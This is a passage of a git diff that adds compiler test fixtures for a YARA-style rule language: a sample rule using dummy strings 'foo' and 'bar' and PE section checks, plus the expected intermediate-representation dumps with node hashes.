integer(103) + 522: CONST integer(10) + 528: EQ -- hash: 0x813941cedd96e640 + 526: ADD -- hash: 0x6ef03ceb04079b17 + 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 525: CONST integer(104) + 527: CONST integer(10) + diff --git a/lib/src/compiler/ir/tests/testdata/15.cse.ir b/lib/src/compiler/ir/tests/testdata/15.cse.ir new file mode 100644 index 00000000..ce8858d2 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.cse.ir @@ -0,0 +1,193 @@ +RULE test + 171: AND -- hash: 0x550720c3956843bf + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: CONST integer(0) + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 3: CONST integer(0) + 4: CONST integer(100) + 8: GT -- hash: 0xe14c02d2ca38c7fe + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: CONST integer(0) + 13: GT -- hash: 0x92f8c6f7e54b02b8 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 9: CONST integer(0) + 10: CONST integer(100) + 12: CONST integer(0) + 16: GT -- hash: 0x2c7be90e3169df71 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 15: CONST integer(0) + 20: GT -- hash: 0x8bb5a93875bc3546 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 17: CONST integer(1) + 19: CONST integer(0) + 23: GT -- hash: 0x77abcf49989af6e3 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 22: CONST integer(0) + 27: GT -- hash: 0xf87b38b95dae2020 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 24: CONST integer(1) + 26: CONST integer(0) + 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 34: AND -- hash: 0x3c966b1c6d560e68 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 29: CONST integer(0) + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 31: CONST integer(0) + 32: CONST integer(100) + 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + n: Var { frame_id: 2, ty: integer, index: 0 } + i: Var { frame_id: 2, ty: integer, index: 1 } + max_count: Var { frame_id: 2, ty: integer, index: 2 } + count: Var { frame_id: 2, ty: integer, index: 3 } + item: Var { frame_id: 2, ty: integer, index: 4 } + 44: AND -- hash: 0xce850009289685a8 + 38: GT -- hash: 0xadc66c0f48e750e7 + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 37: CONST integer(0) + 43: GT -- hash: 0x84e68ea465523c78 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 39: CONST integer(0) + 40: CONST integer(100) + 42: CONST integer(0) + 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + n: Var { frame_id: 3, ty: integer, index: 0 } + i: Var { frame_id: 3, ty: integer, index: 1 } + max_count: Var { frame_id: 3, ty: integer, index: 2 } + count: Var { frame_id: 3, ty: integer, index: 3 } + item: Var { frame_id: 3, ty: integer, index: 4 } + 53: AND -- hash: 0xada51cbb798a9af6 + 48: GT -- hash: 0xeeaeb61296e7af4e + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 47: CONST integer(0) + 52: GT -- hash: 0x77ae50bc98adf661 + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 49: CONST integer(1) + 51: CONST integer(0) + 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + n: Var { frame_id: 4, ty: integer, index: 0 } + i: Var { frame_id: 4, ty: integer, index: 1 } + max_count: Var { frame_id: 4, ty: integer, index: 2 } + count: Var { frame_id: 4, ty: integer, index: 3 } + item: Var { frame_id: 4, ty: integer, index: 4 } + 62: AND -- hash: 0xdde6046be314cfab + 57: GT -- hash: 0x2f970015e0e80db6 + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 56: CONST integer(0) + 61: GT -- hash: 0x95f4118d25b93df3 + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 58: CONST integer(1) + 60: CONST integer(0) + 65: FOR_OF -- hash: 0xe716d23849fe7860 + n: Var { frame_id: 5, ty: integer, index: 0 } + i: Var { frame_id: 5, ty: integer, index: 1 } + max_count: Var { frame_id: 5, ty: integer, index: 2 } + count: Var { frame_id: 5, ty: integer, index: 3 } + item: Var { frame_id: 5, ty: integer, index: 4 } + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c + 68: OF -- hash: 0xd907e19beae11f88 + 67: CONST boolean(false) + 66: CONST boolean(true) + 69: OF -- hash: 0xc1af08cf16d07e7 + 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + n: Var { frame_id: 8, ty: integer, index: 0 } + i: Var { frame_id: 8, ty: integer, index: 1 } + max_count: Var { frame_id: 8, ty: integer, index: 2 } + count: Var { frame_id: 8, ty: integer, index: 3 } + item: Var { frame_id: 8, ty: integer, index: 4 } + 70: CONST integer(1) + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 + 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + n: Var { frame_id: 9, ty: integer, index: 0 } + i: Var { frame_id: 9, ty: integer, index: 1 } + max_count: Var { frame_id: 9, ty: integer, index: 2 } + count: Var { frame_id: 9, ty: integer, index: 3 } + item: Var { frame_id: 9, ty: unknown, index: 4 } + 73: CONST integer(1) + 74: CONST integer(5) + 79: EQ -- hash: 0xe92c004f9190e2ec + 77: ADD -- hash: 0xb9090c9f9899e70f + 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } + 76: CONST integer(1) + 78: CONST integer(2) + 84: NE -- hash: 0x92df6290b941eceb + 82: CONST integer(-2) + 83: CONST integer(0) + 89: EQ -- hash: 0x2772eae3cc6605b3 + 87: CONST integer(0) + 88: CONST integer(0) + 94: EQ -- hash: 0xe620d6a4866ed47d + 92: CONST integer(3) + 93: CONST integer(3) + 99: EQ -- hash: 0xe620d6a4866ed47d + 97: CONST integer(3) + 98: CONST integer(3) + 102: LT -- hash: 0xc2cd260920d8212b + 100: CONST integer(-1) + 101: CONST integer(0) + 107: EQ -- hash: 0x513c32b99dc13a3a + 105: CONST integer(2) + 106: CONST integer(2) + 112: EQ -- hash: 0xa4cec2653c77a348 + 110: CONST integer(6) + 111: CONST integer(6) + 117: EQ -- hash: 0x37b6700f88d99369 + 115: DIV -- hash: 0xe3d346244ff8cc57 + 113: CONST integer(6) + 114: CONST integer(2) + 116: CONST integer(3) + 122: EQ -- hash: 0x1a81b6c621408d88 + 120: MOD -- hash: 0x3b6ad7150dbd77e8 + 118: CONST integer(5) + 119: CONST integer(2) + 121: CONST integer(1) + 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 125: CONST integer(4) + 126: CONST integer(4) + 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 130: CONST integer(4) + 131: CONST integer(4) + 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 133: CONST string("foo") + 134: CONST string("f") + 138: ICONTAINS -- hash: 0x377f84bcc413903b + 136: CONST string("foo") + 137: CONST string("F") + 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 139: CONST string("foo") + 140: CONST string("f") + 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 142: CONST string("foo") + 143: CONST string("F") + 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 145: CONST string("foo") + 146: CONST string("o") + 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 148: CONST string("foo") + 149: CONST string("O") + 153: IEQUALS -- hash: 0x59f750b89300b823 + 151: CONST string("foo") + 152: CONST string("FOO") + 157: CONTAINS -- hash: 0x69900714c5de042c + 154: CONST string("foo") + 156: CONST string("foo") + 161: DEFINED -- hash: 0xc649804070cd56ad + 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 170: EQ -- hash: 0xc86bbac0d41a5b9c + 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 + 166: LOOKUP -- hash: 0xb7e6fdca077aa568 + 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 165: CONST integer(0) + 167: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 169: CONST string(".text") + diff --git a/lib/src/compiler/ir/tests/testdata/15.hoisting.ir b/lib/src/compiler/ir/tests/testdata/15.hoisting.ir new file mode 100644 index 00000000..ce8858d2 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.hoisting.ir @@ -0,0 +1,193 @@ +RULE test + 171: AND -- hash: 0x550720c3956843bf + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: CONST integer(0) + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 3: CONST integer(0) + 4: CONST integer(100) + 8: GT -- hash: 0xe14c02d2ca38c7fe + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: CONST integer(0) + 13: GT -- hash: 0x92f8c6f7e54b02b8 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 9: CONST integer(0) + 10: CONST integer(100) + 12: CONST integer(0) + 16: GT -- hash: 0x2c7be90e3169df71 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 15: CONST integer(0) + 20: GT -- hash: 0x8bb5a93875bc3546 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 17: CONST integer(1) + 19: CONST integer(0) + 23: GT -- hash: 0x77abcf49989af6e3 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 22: CONST integer(0) + 27: GT -- hash: 0xf87b38b95dae2020 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 24: CONST integer(1) + 26: CONST integer(0) + 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 34: AND -- hash: 0x3c966b1c6d560e68 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 29: CONST integer(0) + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 31: CONST integer(0) + 32: CONST integer(100) + 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + n: Var { frame_id: 2, ty: integer, index: 0 } + i: Var { frame_id: 2, ty: integer, index: 1 } + max_count: Var { frame_id: 2, ty: integer, index: 2 } + count: Var { frame_id: 2, ty: integer, index: 3 } + item: Var { frame_id: 2, ty: integer, index: 4 } + 44: AND -- hash: 0xce850009289685a8 + 38: GT -- hash: 0xadc66c0f48e750e7 + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 37: CONST integer(0) + 43: GT -- hash: 0x84e68ea465523c78 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 39: CONST integer(0) + 40: CONST integer(100) + 42: CONST integer(0) + 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + n: Var { frame_id: 3, ty: integer, index: 0 } + i: Var { frame_id: 3, ty: integer, index: 1 } + max_count: Var { frame_id: 3, ty: integer, index: 2 } + count: Var { frame_id: 3, ty: integer, index: 3 } + item: Var { frame_id: 3, ty: integer, index: 4 } + 53: AND -- hash: 0xada51cbb798a9af6 + 48: GT -- hash: 0xeeaeb61296e7af4e + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 47: CONST integer(0) + 52: GT -- hash: 0x77ae50bc98adf661 + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 49: CONST integer(1) + 51: CONST integer(0) + 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + n: Var { frame_id: 4, ty: integer, index: 0 } + i: Var { frame_id: 4, ty: integer, index: 1 } + max_count: Var { frame_id: 4, ty: integer, index: 2 } + count: Var { frame_id: 4, ty: integer, index: 3 } + item: Var { frame_id: 4, ty: integer, index: 4 } + 62: AND -- hash: 0xdde6046be314cfab + 57: GT -- hash: 0x2f970015e0e80db6 + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 56: CONST integer(0) + 61: GT -- hash: 0x95f4118d25b93df3 + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 58: CONST integer(1) + 60: CONST integer(0) + 65: FOR_OF -- hash: 0xe716d23849fe7860 + n: Var { frame_id: 5, ty: integer, index: 0 } + i: Var { frame_id: 5, ty: integer, index: 1 } + max_count: Var { frame_id: 5, ty: integer, index: 2 } + count: Var { frame_id: 5, ty: integer, index: 3 } + item: Var { frame_id: 5, ty: integer, index: 4 } + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c + 68: OF -- hash: 0xd907e19beae11f88 + 67: CONST boolean(false) + 66: CONST boolean(true) + 69: OF -- hash: 0xc1af08cf16d07e7 + 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + n: Var { frame_id: 8, ty: integer, index: 0 } + i: Var { frame_id: 8, ty: integer, index: 1 } + max_count: Var { frame_id: 8, ty: integer, index: 2 } + count: Var { frame_id: 8, ty: integer, index: 3 } + item: Var { frame_id: 8, ty: integer, index: 4 } + 70: CONST integer(1) + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 + 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + n: Var { frame_id: 9, ty: integer, index: 0 } + i: Var { frame_id: 9, ty: integer, index: 1 } + max_count: Var { frame_id: 9, ty: integer, index: 2 } + count: Var { frame_id: 9, ty: integer, index: 3 } + item: Var { frame_id: 9, ty: unknown, index: 4 } + 73: CONST integer(1) + 74: CONST integer(5) + 79: EQ -- hash: 0xe92c004f9190e2ec + 77: ADD -- hash: 0xb9090c9f9899e70f + 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } + 76: CONST integer(1) + 78: CONST integer(2) + 84: NE -- hash: 0x92df6290b941eceb + 82: CONST integer(-2) + 83: CONST integer(0) + 89: EQ -- hash: 0x2772eae3cc6605b3 + 87: CONST integer(0) + 88: CONST integer(0) + 94: EQ -- hash: 0xe620d6a4866ed47d + 92: CONST integer(3) + 93: CONST integer(3) + 99: EQ -- hash: 0xe620d6a4866ed47d + 97: CONST integer(3) + 98: CONST integer(3) + 102: LT -- hash: 0xc2cd260920d8212b + 100: CONST integer(-1) + 101: CONST integer(0) + 107: EQ -- hash: 0x513c32b99dc13a3a + 105: CONST integer(2) + 106: CONST integer(2) + 112: EQ -- hash: 0xa4cec2653c77a348 + 110: CONST integer(6) + 111: CONST integer(6) + 117: EQ -- hash: 0x37b6700f88d99369 + 115: DIV -- hash: 0xe3d346244ff8cc57 + 113: CONST integer(6) + 114: CONST integer(2) + 116: CONST integer(3) + 122: EQ -- hash: 0x1a81b6c621408d88 + 120: MOD -- hash: 0x3b6ad7150dbd77e8 + 118: CONST integer(5) + 119: CONST integer(2) + 121: CONST integer(1) + 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 125: CONST integer(4) + 126: CONST integer(4) + 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 130: CONST integer(4) + 131: CONST integer(4) + 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 133: CONST string("foo") + 134: CONST string("f") + 138: ICONTAINS -- hash: 0x377f84bcc413903b + 136: CONST string("foo") + 137: CONST string("F") + 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 139: CONST string("foo") + 140: CONST string("f") + 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 142: CONST string("foo") + 143: CONST string("F") + 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 145: CONST string("foo") + 146: CONST string("o") + 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 148: CONST string("foo") + 149: CONST string("O") + 153: IEQUALS -- hash: 0x59f750b89300b823 + 151: CONST string("foo") + 152: CONST string("FOO") + 157: CONTAINS -- hash: 0x69900714c5de042c + 154: CONST string("foo") + 156: CONST string("foo") + 161: DEFINED -- hash: 0xc649804070cd56ad + 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 170: EQ -- hash: 0xc86bbac0d41a5b9c + 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 + 166: LOOKUP -- hash: 0xb7e6fdca077aa568 + 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 165: CONST integer(0) + 167: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 169: CONST string(".text") + diff --git a/lib/src/compiler/ir/tests/testdata/15.in b/lib/src/compiler/ir/tests/testdata/15.in new file mode 100644 index 00000000..9e209f13 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.in @@ -0,0 +1,31 @@ +import "pe" + +rule test { + strings: + $a = "foo" + $b = "bar" + $r1 = /regex1/ + $r2 = /regex2/ + condition: + $a and $a at 0 and $a in (0..100) and + #a > 0 and #a in (0..100) > 0 and + @a > 0 and @a[1] > 0 and + !a > 0 and !a[1] > 0 and + for any of ($a*) : ( $ and $ at 0 and $ in (0..100) ) and + for any of ($a*) : ( # > 0 and # in (0..100) > 0 ) and + for any of ($a*) : ( @ > 0 and @[1] > 0 ) and + for any of ($a*) : ( ! > 0 and ![1] > 0 ) and + for any of ($r*) : ( $ ) and + any of (true, false) and + all of ($a, $b) and + for 1 of ($a*) : ( $ ) and + for any i in (1..5) : ( i + 1 == 2 ) and + ~1 != 0 and (1 & 2) == 0 and (1 | 2) == 3 and (1 ^ 2) == 3 and + -1 < 0 and (5 - 3) == 2 and (2 * 3) == 6 and (6 \ 2) == 3 and (5 % 2) == 1 and + (1 << 2) == 4 and (8 >> 1) == 4 and + "foo" contains "f" and "foo" icontains "F" and + "foo" startswith "f" and "foo" istartswith "F" and + "foo" endswith "o" and "foo" iendswith "O" and + "foo" iequals "FOO" and "foo" matches /foo/ and + defined pe.number_of_sections and pe.sections[0].name == ".text" +} diff --git a/lib/src/compiler/ir/tests/testdata/15.ir b/lib/src/compiler/ir/tests/testdata/15.ir new file mode 100644 index 00000000..ce8858d2 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.ir @@ -0,0 +1,193 @@ +RULE test + 171: AND -- hash: 0x550720c3956843bf + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 1: CONST integer(0) + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 3: CONST integer(0) + 4: CONST integer(100) + 8: GT -- hash: 0xe14c02d2ca38c7fe + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: CONST integer(0) + 13: GT -- hash: 0x92f8c6f7e54b02b8 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 9: CONST integer(0) + 10: CONST integer(100) + 12: CONST integer(0) + 16: GT -- hash: 0x2c7be90e3169df71 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 15: CONST integer(0) + 20: GT -- hash: 0x8bb5a93875bc3546 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 17: CONST integer(1) + 19: CONST integer(0) + 23: GT -- hash: 0x77abcf49989af6e3 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 22: CONST integer(0) + 27: GT -- hash: 0xf87b38b95dae2020 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 24: CONST integer(1) + 26: CONST integer(0) + 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 34: AND -- hash: 0x3c966b1c6d560e68 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 29: CONST integer(0) + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 31: CONST integer(0) + 32: CONST integer(100) + 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + n: Var { frame_id: 2, ty: integer, index: 0 } + i: Var { frame_id: 2, ty: integer, index: 1 } + max_count: Var { frame_id: 2, ty: integer, index: 2 } + count: Var { frame_id: 2, ty: integer, index: 3 } + item: Var { frame_id: 2, ty: integer, index: 4 } + 44: AND -- hash: 0xce850009289685a8 + 38: GT -- hash: 0xadc66c0f48e750e7 + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 37: CONST integer(0) + 43: GT -- hash: 0x84e68ea465523c78 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 39: CONST integer(0) + 40: CONST integer(100) + 42: CONST integer(0) + 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + n: Var { frame_id: 3, ty: integer, index: 0 } + i: Var { frame_id: 3, ty: integer, index: 1 } + max_count: Var { frame_id: 3, ty: integer, index: 2 } + count: Var { frame_id: 3, ty: integer, index: 3 } + item: Var { frame_id: 3, ty: integer, index: 4 } + 53: AND -- hash: 0xada51cbb798a9af6 + 48: GT -- hash: 0xeeaeb61296e7af4e + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 47: CONST integer(0) + 52: GT -- hash: 0x77ae50bc98adf661 + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 49: CONST integer(1) + 51: CONST integer(0) + 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + n: Var { frame_id: 4, ty: integer, index: 0 } + i: Var { frame_id: 4, ty: integer, index: 1 } + max_count: Var { frame_id: 4, ty: integer, index: 2 } + count: Var { frame_id: 4, ty: integer, index: 3 } + item: Var { frame_id: 4, ty: integer, index: 4 } + 62: AND -- hash: 0xdde6046be314cfab + 57: GT -- hash: 0x2f970015e0e80db6 + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 56: CONST integer(0) + 61: GT -- hash: 0x95f4118d25b93df3 + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 58: CONST integer(1) + 60: CONST integer(0) + 65: FOR_OF -- hash: 0xe716d23849fe7860 + n: Var { frame_id: 5, ty: integer, index: 0 } + i: Var { frame_id: 5, ty: integer, index: 1 } + max_count: Var { frame_id: 5, ty: integer, index: 2 } + count: Var { frame_id: 5, ty: integer, index: 3 } + item: Var { frame_id: 5, ty: integer, index: 4 } + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c + 68: OF -- hash: 0xd907e19beae11f88 + 67: CONST boolean(false) + 66: CONST boolean(true) + 69: OF -- hash: 0xc1af08cf16d07e7 + 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + n: Var { frame_id: 8, ty: integer, index: 0 } + i: Var { frame_id: 8, ty: integer, index: 1 } + max_count: Var { frame_id: 8, ty: integer, index: 2 } + count: Var { frame_id: 8, ty: integer, index: 3 } + item: Var { frame_id: 8, ty: integer, index: 4 } + 70: CONST integer(1) + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 + 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + n: Var { frame_id: 9, ty: integer, index: 0 } + i: Var { frame_id: 9, ty: integer, index: 1 } + max_count: Var { frame_id: 9, ty: integer, index: 2 } + count: Var { frame_id: 9, ty: integer, index: 3 } + item: Var { frame_id: 9, ty: unknown, index: 4 } + 73: CONST integer(1) + 74: CONST integer(5) + 79: EQ -- hash: 0xe92c004f9190e2ec + 77: ADD -- hash: 0xb9090c9f9899e70f + 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } + 76: CONST integer(1) + 78: CONST integer(2) + 84: NE -- hash: 0x92df6290b941eceb + 82: CONST integer(-2) + 83: CONST integer(0) + 89: EQ -- hash: 0x2772eae3cc6605b3 + 87: CONST integer(0) + 88: CONST integer(0) + 94: EQ -- hash: 0xe620d6a4866ed47d + 92: CONST integer(3) + 93: CONST integer(3) + 99: EQ -- hash: 0xe620d6a4866ed47d + 97: CONST integer(3) + 98: CONST integer(3) + 102: LT -- hash: 0xc2cd260920d8212b + 100: CONST integer(-1) + 101: CONST integer(0) + 107: EQ -- hash: 0x513c32b99dc13a3a + 105: CONST integer(2) + 106: CONST integer(2) + 112: EQ -- hash: 0xa4cec2653c77a348 + 110: CONST integer(6) + 111: CONST integer(6) + 117: EQ -- hash: 0x37b6700f88d99369 + 115: DIV -- hash: 0xe3d346244ff8cc57 + 113: CONST integer(6) + 114: CONST integer(2) + 116: CONST integer(3) + 122: EQ -- hash: 0x1a81b6c621408d88 + 120: MOD -- hash: 0x3b6ad7150dbd77e8 + 118: CONST integer(5) + 119: CONST integer(2) + 121: CONST integer(1) + 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 125: CONST integer(4) + 126: 